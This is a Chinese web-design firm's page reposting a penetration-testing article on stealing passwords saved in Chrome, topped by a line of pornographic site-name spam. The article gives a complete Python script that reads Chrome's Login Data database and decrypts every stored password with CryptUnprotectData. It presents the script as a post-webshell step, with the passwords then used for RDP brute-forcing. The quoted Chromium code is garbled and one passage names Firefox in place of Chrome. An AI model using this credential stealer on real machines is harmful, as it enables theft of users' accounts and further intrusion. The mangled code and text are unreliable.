日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
密碼破解之Chrome瀏覽器存儲密碼獲取

在我們實(shí)戰(zhàn)滲透內(nèi)網(wǎng)過程中,經(jīng)常會因?yàn)楦鞣N各樣的密碼破解問題而發(fā)愁。相對于外網(wǎng)來說,內(nèi)網(wǎng)安全是較為脆弱的,因?yàn)榇罅康拿艽a被重復(fù)使用,而如何獲得這些非常有價值的密碼,很可能就是一次滲透能否成功的關(guān)鍵。

十多年的文登網(wǎng)站建設(shè)經(jīng)驗(yàn),針對設(shè)計(jì)、前端、開發(fā)、售后、文案、推廣等六對一服務(wù),響應(yīng)快,48小時及時工作處理。全網(wǎng)營銷推廣的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動調(diào)整文登建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。成都創(chuàng)新互聯(lián)從事“文登網(wǎng)站設(shè)計(jì)”,“文登網(wǎng)站推廣”以來,每個客戶項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。

我們來詳細(xì)分析一下,如何針對火狐瀏覽器自動保存的密碼進(jìn)行獲取,并完成相應(yīng)的程序編寫。

一、關(guān)于Chrome瀏覽器密碼存儲機(jī)制:

谷歌瀏覽器加密后的密鑰存儲于%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”(這里的APPDATA是由系統(tǒng)or用戶環(huán)境變量決定的)下的一個SQLite數(shù)據(jù)庫中。那么他是如何加密的呢,通過開源的Chromium,我們來一探究竟:

首先,我們作為用戶登錄一個網(wǎng)站時,會在表單提交Username以及Password相應(yīng)的值,Chrome會首先判斷此次登錄是否是一次成功的登錄,部分判斷代碼如下:

 
 
 
 
  1. Provisional_save_manager_->SubmitPassed();
  2.     if (provisional_save_manager_->HasGeneratedPassword())
  3.         UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);
  4.     If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){
  5.         Delegate_->AddSavePasswordInfoBarIfPermitted(
  6.         Provisional_save_manager_.release());
  7. } else {
  8. provisional_save_manager_->Save();
  9. Provisional_save_manager_.reset();

當(dāng)我們登錄成功時,并且使用的是一套新的證書(也就是說是***次登錄該網(wǎng)站),Chrome就會詢問我們是否需要記住密碼。

那么登錄成功后,密碼是如何被Chrome存儲的呢?

答案在EncryptedString函數(shù),通過調(diào)用EncryptString16函數(shù),代碼如下:

 
 
 
 
  1. Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {
  2.     DATA_BLOB input;
  3.     Input.pbData = static_cast(plaintext.length());
  4.     
  5.     DATA_BLOB output;
  6.     BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);
  7.     If (!result)
  8.         Return false;
  9. //復(fù)制操作
  10. Ciphertext->assign(reinterpret_cast(output.pbData);
  11. LocalFree(output.pbData);
  12. Return true;
  13. }

代碼***利用了Widows API函數(shù)CryptProtectData(請記住這個函數(shù),因?yàn)楹竺鏁岬剿?來加密。當(dāng)我們擁有證書時,密碼就會被回復(fù)給我們使用。

在我們得到服務(wù)器權(quán)限后,證書的問題已經(jīng)不用考慮了,所以下一步,我們解決如何獲得這些密碼。

二、編寫腳本跑出Chrome瀏覽器保存的密碼

因?yàn)榭紤]到在大多數(shù)情況下,并不能遠(yuǎn)程登錄到服務(wù)器上執(zhí)行GUI的程序,所以做個Python腳本跑一下是***選擇,唯一的缺點(diǎn)是如果WINDOWS不支持PYTHON環(huán)境,Python打包成EXE文件的話會比較大。

下面考慮代碼部分,因?yàn)橛脩舨煌谟脩舻奈募A就不同,需要知道LOGIN DATA文件的具體路徑,所以我們需要python中的os.environ從環(huán)境變量中讀取LOCALAPPDATA的路徑,剩下的路徑是谷歌默認(rèn)生成。

獲取LOGINDATA文件的寫法為:

 
 
 
 
  1. google_path = r’ Google\Chrome\User Data\Default\Login Data’
  2. file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)
  3. #Login Data文件可以利用python中的sqlite3庫來操作。
  4. conn = sqlite3.connect(file_path)
  5. for row in conn.execute('select username_value, password_value, signon_realm from logins'):
  6. #利用Win32crpt.CryptUnprotectData來對通過加密的密碼進(jìn)行解密操作。
  7.     cursor = conn.cursor()
  8. cursor.execute('select username_value, password_value, signon_realm from logins')
  9. #接收全部返回結(jié)果
  10. for data in cursor.fetchall():
  11. passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
  12. #利用win32crypt.CryptUnprotectData解密后,通過輸出passwd這個元組中內(nèi)容,可以逐一得到Chrome瀏覽器存儲的密碼。

這里我們用到了CryptUnprotectData這個函數(shù),與之對應(yīng)的是我們上文提到的CryptProtectData,理論上來說CryptProtectData加密的文本內(nèi)容,都可以通過CryptUnprotectData函數(shù)來解密。對其他服務(wù)的解密方式,大家可以自行嘗試。

三、完成實(shí)驗(yàn)?zāi)_本

腳本完整代碼如下:

 
 
 
 
  1. #coding:utf8
  2. import os, sys
  3. import sqlite3
  4. import win32crypt
  5. google_path = r'Google\Chrome\User Data\Default\Login Data'
  6. db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)
  7. conn = sqlite3.connect(db_file_path)
  8. cursor = conn.cursor()
  9. cursor.execute('select username_value, password_value, signon_realm from logins')
  10. #接收全部返回結(jié)果
  11. for data in cursor.fetchall():
  12.     passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
  13.     
  14.     if passwd:
  15.         print '-------------------------'
  16.         print u'[+]用戶名: ' + data[0] 
  17.         print u'[+]密碼: ' + passwd[1] 
  18.         print u'[+]網(wǎng)站URL: ' + data[2]

效果如下:

當(dāng)然,在取得服務(wù)器webshell的情況下,如果有執(zhí)行權(quán)限但無法提權(quán),可以利用這種方法挖掘密碼,進(jìn)而再利用社工思路對服務(wù)器RDP服務(wù)密碼進(jìn)行暴力破解。

如果Webshell不能回顯,可以用類似getpass一樣的方式,導(dǎo)出到文本中。

Python chrome.py > 1.txt

(提示:導(dǎo)出過程中,輸出中文可能會報(bào)錯,建議換成英文導(dǎo)出。)

注意:在用戶打開Chrome時,Login Data文件是被上鎖的,如果這時想要對其進(jìn)行讀取操作,可以將Login Data文件復(fù)制到臨時目錄進(jìn)行讀取操作。


網(wǎng)站欄目:密碼破解之Chrome瀏覽器存儲密碼獲取
網(wǎng)站網(wǎng)址:http://www.dlmjj.cn/article/dhhpojc.html